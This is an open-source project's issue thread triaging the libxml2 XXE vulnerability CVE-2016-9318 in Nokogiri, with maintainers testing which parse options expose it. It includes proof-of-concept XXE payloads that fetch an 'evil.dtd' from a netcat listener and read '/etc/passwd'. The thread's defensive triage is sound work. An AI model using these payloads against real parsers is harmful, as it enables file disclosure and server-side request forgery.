libxml 2.9.{4,5,...} is vulnerable to CVE-2016-9318

[flavorjones]

Credit for reporting this vulnerability to Nokogiri Core goes to Danny Grander [email protected], @grnd. Thanks, Danny!

This issue is being opened for nokogiri core to triage this vulnerability within the context of Nokogiri.

---

Triage summary:

Applications using Nokogiri 1.5.4 (circa June 2012) and later are not vulnerable to this CVE unless opting into the DTDLOAD option and opting out of the NONET option.

Note that by default, Nokogiri turns off both DTD loading and network access, treating all docs as untrusted docs. This behavior is independent of the version of libxml2 used.

Also note that an upstream fix is not available from libxml2 upstream as of 2017-11-13.

[flavorjones]

CVE-2016-9318 resources

For the libxml2 vulnerability:

• Mitre: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-9318
• NVD:
  • https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-9318
  • CVSS v3 base score: 7.8 High
• Security Focus: http://www.securityfocus.com/bid/94347
• RedHat:
  • https://access.redhat.com/security/cve/cve-2016-9318
  • CVSS v3 base score: 7.1
  • CWE-611 Improper Restriction of XML External Entity Reference ('XXE')
  • bugzilla: https://bugzilla.redhat.com/show_bug.cgi?id=1395609
• Canonical:
  • https://people.canonical.com/~ubuntu-security/cve/2016/CVE-2016-9318.html
• Upstream
  • libxml2: https://bugzilla.gnome.org/show_bug.cgi?id=772726
  • xmlsec: https://github.com/lsh123/xmlsec/issues/43

[flavorjones]

attempt 1 to exploit: default Nokogiri parse options

In a console window, start up netcat listening on port 8080:

$ nc -l 0.0.0.0 8080

Then, in a second console windows, run this Ruby script:

#! /usr/bin/env ruby

require 'nokogiri'
require 'yaml'

puts Nokogiri::VERSION_INFO.to_yaml

xml = <<-EOX
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://0.0.0.0:8080/evil.dtd"> %remote;]>
EOX

doc = Nokogiri::XML(xml)
puts "--- xml: ---"
puts doc.to_xml
puts "--- errors: ---"
puts doc.errors

Output from ruby script:

---
warnings: []
nokogiri: 1.7.0.1
ruby:
  version: 2.4.0
  platform: x86_64-linux
  description: ruby 2.4.0p0 (2016-12-24 revision 57164) [x86_64-linux]
  engine: ruby
libxml:
  binding: extension
  source: packaged
  libxml2_path: "/home/flavorjones/.rvm/gems/ruby-2.4.0/gems/nokogiri-1.7.0.1/ports/x86_64-pc-linux-gnu/libxml2/2.9.4"
  libxslt_path: "/home/flavorjones/.rvm/gems/ruby-2.4.0/gems/nokogiri-1.7.0.1/ports/x86_64-pc-linux-gnu/libxslt/1.1.29"
  libxml2_patches: []
  libxslt_patches: []
  compiled: 2.9.4
  loaded: 2.9.4
--- xml: ---
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://0.0.0.0:8080/evil.dtd">
]>
--- errors: ---
Start tag expected, '<' not found

Output from netcat: nothing

conclusion for default parse options

With default parse options, Nokogiri does not expose this libxml2 vulnerability.

[flavorjones]

attempt 2 to exploit: opt into DTD loading

Here we'll opt into the DTDLOAD parse option:

#! /usr/bin/env ruby

require 'nokogiri'
require 'yaml'

puts Nokogiri::VERSION_INFO.to_yaml

xml = <<-EOX
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://0.0.0.0:8080/evil.dtd"> %remote;]>
EOX

doc = Nokogiri::XML(xml) do |config|
  config.dtdload
end

puts "--- xml: ---"
puts doc.to_xml
puts "--- errors: ---"
puts doc.errors

Output from ruby:

---
warnings: []
nokogiri: 1.7.0.1
ruby:
  version: 2.4.0
  platform: x86_64-linux
  description: ruby 2.4.0p0 (2016-12-24 revision 57164) [x86_64-linux]
  engine: ruby
libxml:
  binding: extension
  source: packaged
  libxml2_path: "/home/flavorjones/.rvm/gems/ruby-2.4.0/gems/nokogiri-1.7.0.1/ports/x86_64-pc-linux-gnu/libxml2/2.9.4"
  libxslt_path: "/home/flavorjones/.rvm/gems/ruby-2.4.0/gems/nokogiri-1.7.0.1/ports/x86_64-pc-linux-gnu/libxslt/1.1.29"
  libxml2_patches: []
  libxslt_patches: []
  compiled: 2.9.4
  loaded: 2.9.4
--- xml: ---
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://0.0.0.0:8080/evil.dtd">
]>
--- errors: ---
Attempt to load network entity http://0.0.0.0:8080/evil.dtd
Start tag expected, '<' not found

conclusion for opting into DTD loading

Note that we see a parse error saying an attempt was made to load a network entity; however, netcat again shows no output, and thus we can conclude that no network connection was made.

[flavorjones]

attempt 3 to exploit: opt into DTD loading and network access

Here we'll opt into the DTDLOAD parse option as well as turn off the NONET option (which is set by default by Nokogiri for XML documents).

(This is a confusing option; the name of the option is "nonet", and we prefix it with "no" to flip it off, hence nononet).

...

doc = Nokogiri::XML(xml) do |config|
  config.dtdload.nononet
end

...

This time, however, we can see that netcat accepts a connection:

$ nc -l 0.0.0.0 8080
GET /evil.dtd HTTP/1.0
Host: 0.0.0.0:8080
Accept-Encoding: gzip

Terminating the netcat process allows the Ruby process to complete.

conclusion for opting into both DTD loading and network access

Only with both of these options being opted into would an application using Nokogiri be vulnerable to this CVE.

[flavorjones]

triage summary

The TL;DR is that, because Nokogiri does not load DTDs by default, and also does not access the network by default, any application using Nokogiri would need to opt into both of these options in order to be vulnerable.

We do note in our docs that the "NONET" option shouldn't be turned off unless trusted documents are being parsed; but we could do a better job of communicating the risks associated with hitting the network. I'd love to hear any thoughts y'all might have about how to articulate that more clearly. For example, I've opened #1583 to clarify documentation of XML::Document around the default options and untrusted documents.

In the meantime, it does not look like there's an upstream fix committed yet; though I do see a couple of patches are being debated on the libxml2 bugzilla ticket. When a patch is available upstream, we'll evaluate next steps. One option might be to pull in that specific commit as a patch within Nokogiri (and potentially make library changes should any behavior changes be required (like a new libxml2 parse option)).

[flavorjones]

Just checked, no movement upstream yet.

[flavorjones]

Checked again, no upstream commit yet.

[flavorjones]

Checked upstream again, there was a commit made to try to address this:

commit 2304078
Author: Doran Moppert <[email protected]>
Date:   Fri Apr 7 16:45:56 2017 +0200

    Add an XML_PARSE_NOXXE flag to block all entities loading even local
    
    For https://bugzilla.gnome.org/show_bug.cgi?id=772726
    
    * include/libxml/parser.h: Add a new parser flag XML_PARSE_NOXXE
    * elfgcchack.h, xmlIO.h, xmlIO.c: associated loading routine
    * include/libxml/xmlerror.h: new error raised
    * xmllint.c: adds --noxxe flag to activate the option

but it was reverted:

commit 030b1f7
Author: Nick Wellnhofer <[email protected]>
Date:   Tue Jun 6 15:53:42 2017 +0200

    Revert "Add an XML_PARSE_NOXXE flag to block all entities loading even local"
    
    This reverts commit 2304078555896cf1638c628f50326aeef6f0e0d0.
    
    The new flag doesn't work and the change even broke the XML_PARSE_NONET
    option.

and there isn't an obvious upstream commit addressing it at this point.

[flavorjones]

Just checked upstream again, and there still doesn't seem to be a fix addressing this underlying CVE.

[flavorjones]

Hey, this issue got a prominent mention in https://snyk.io/stateofossecurity/. Hello, world.

The snyk report says "until libxml2 addresses the issue, Nokogiri will remain vulnerable", but I think this misses the nuance that Nokogiri's defaults are secure; the software using Nokogiri is only vulnerable if users specifically opt into two different options in combination.

Lots more detail above for those who are interested.

[joeldrapper]

Thanks for your continued work on this, Mike. I don’t fully understand the issue, but is there a way to get Nokogiri to look out for that specific configuration, ignore it, and raise a warning about the CVE?

[flavorjones]

@joeldrapper great question.

A brief explanation of the general class of vulnerabilities known as "XXE" can be found here in the OWASP wiki. Key summary (emphasis is from the original):

An XML External Entity attack is a type of attack against an application that parses XML input. This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This attack may lead to the disclosure of confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts.

In other words, if you tell libxml2 it's OK to download and parse arbitrary documents from the internet, bad things are going to happen.

Note that this is a configuration that must be opted-into. For trusted documents, it's very reasonable to want to load external DTDs and go over the network to do so. These are features that are built into libxml2 and Nokogiri for very good reasons; they're just features that shouldn't be run on untrusted documents. So, we can't ignore those options without breaking trusted-document use cases.

We could emit a warning, but there are people who go crazy about seeing "unnecessary" output from a library, which means then we would need to provide a mechanism for shushing Nokogiri ... I'm hesitant to go down this path without some very compelling reasons.

[jpgrace]

Any update on the upstream bug? I got the message: "You are not authorized to access bug #772726." Was it deleted or do I just not have access?

[tenderlove]

Looks like there may be a fix here: https://github.com/GNOME/libxml2/commit/ad88b54f1a28a8565964a370b5d387927b633c0d

But it's only released in an RC, and I'm not sure if it's a full fix. I also can't access the original bugzilla issue and get the same "You are not authorized" message. Seems like maybe they made the issue private?

Regardless, Nokogiri isn't vulnerable by default so that's good.

[ronaldsalas]

I see from the Releases of libxml2 that 2.9.8 have been released already. Not sure if I'm understanding it correctly but does this mean that the upstream bug has already been fixed?

[sahuabhilash]

is the CVE-2016-9318 fixed in libxml 2.9.7

[jvshahid]

I don't believe libxml2 2.9.8 offers a fix out of the box. The fix mentioned by @tenderlove earlier in this comment only fixes libxml2 when is used in conjunction with xmlsec. After checking xmlsec source code it looks like the only thing that it does it to setup an external entity:

static xmlParserInputPtr
xmlSecNoXxeExternalEntityLoader(const char *URL, const char *ID,
                          xmlParserCtxtPtr ctxt) {
    if (ctxt == NULL) {
        return(NULL);
    }
    if (ctxt->input_id == 1) {
        return xmlSecDefaultExternalEntityLoader((const char *) URL, ID, ctxt);
    }
    xmlSecXmlError2("xmlSecNoXxeExternalEntityLoader", NULL,
                    "illegal external entity='%s'", xmlSecErrorsSafeString(URL));
    return(NULL);
}

We can add our own loader to nokogiri if required using xmlGetExternalEntityLoader and xmlSetExternalEntityLoader

[jvshahid]

@flavorjones following up on your earlier comment. I looked into this more and it looks like opting into NOENT alone could cause some local file injection, e.g.:

#! /usr/bin/env ruby

require 'nokogiri'
require 'yaml'

puts Nokogiri::VERSION_INFO.to_yaml

xml = <<-EOX
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<creds>
    <user>&xxe;</user>
    <pass>mypass</pass>
</creds>
EOX

doc = Nokogiri::XML(xml) do |config|
  config.noent
end

puts "--- xml: ---"
puts doc.to_xml
puts "--- errors: ---"
puts doc.errors

[flavorjones]

@jvshahid ok, but nokogiri is still secure "by default" against this flavor of XXE as well. question for you (any anyone else lurking) is what's actionable? do you feel that we need to update docs to include this fact as well?

historical note, here's the docs update I made which was referenced earlier in this issue's lengthy history: https://github.com/sparklemotion/nokogiri/commit/3b9d2ff29295a474d47603350b34a92ac6140925

[jvshahid]

I just wanted to point out that enabling entity expansion/loading (even with NONET turned on) can lead to XXE. We can address that by doing one of the following:

1. discourage the use of entity expansion in the docs, i.e. disabling NOENT is a security risk while handling untrusted XML documents
2. disable all external access not just network access if NONET is turned on. This can be achieved by using our own entity loader similar to what xmlsec is doing.
3. introduce another option to disable external entity loading and use a custom entity loader if this option is set. We would also turn it on by default.

[flavorjones]

@pascalandy The version of nokogiri scanned appears to be v1.6.1 which was released on 2013-12-14; and the CVE for which this issue exists is not mentioned. Can you please help me understand why you posted this security scan here?

[pascalandy]

You are right. It does not make sense. I didn't check which version this software was at. I'll delete my comment.

[flavorjones]

Hi everybody who's following this issue! This issue came up in a conversation in https://github.com/flavorjones/loofah/issues/140 and so I wanted to close the loop here.

As mentioned above, libxml2 2.9.8 addressed the underlying CVE that this issue was created to track in Nokogiri.

libxml2 2.9.8 was pulled into Nokogiri in commit b28c5f4 which was rolled into Nokogiri v1.8.3.

So, for many of you who are using "security scanners," the version of libxml2 in v1.8.3 and later technically addresses the CVE and you should be green now.

However, as @jvshahid brings up in https://github.com/sparklemotion/nokogiri/issues/1582#issuecomment-388655988 we should probably similarly document that NOENT is a security risk when parsing untrusted documents. I'd like to proceed as follows:

• create a new issue for documenting NOENT, which can be resolved easily
• create a second new issue to solicit input about which of the options listed in @jvshahid's comment is the better path forward (or if both are unnecessary) to deal with NOENT being set on untrusted docs.

Thoughts? I'll move forward with this plan in a few days unless I hear compelling objections or other ideas.

[flavorjones]

Two more notes:

First, a link to OWASP's cheat sheet on securing against XXE: https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html#libxml2

To save you a click, it says:

The Enum xmlParserOption should not have the following options defined:

* XML_PARSE_NOENT: Expands entities and substitutes them with replacement text
* XML_PARSE_DTDLOAD: Load the external DTD

Second, a link to a whitepaper on entity attacks: https://www.vsecurity.com//download/papers/XMLDTDEntityAttacks.pdf

Specifically, this section notes how confusing the NOENT option is (relevant sentence highlighted):

[flavorjones]

#2653 has been created to document NOENT more clearly and generally improve the state of ParseOptions documentation.

[flavorjones]

I've created draft PR #2654 to explore using a "noxxe" entity loader when NONET is set.

[flavorjones]

Closing this issue out, finally, now that the two final action items have been started under other issues.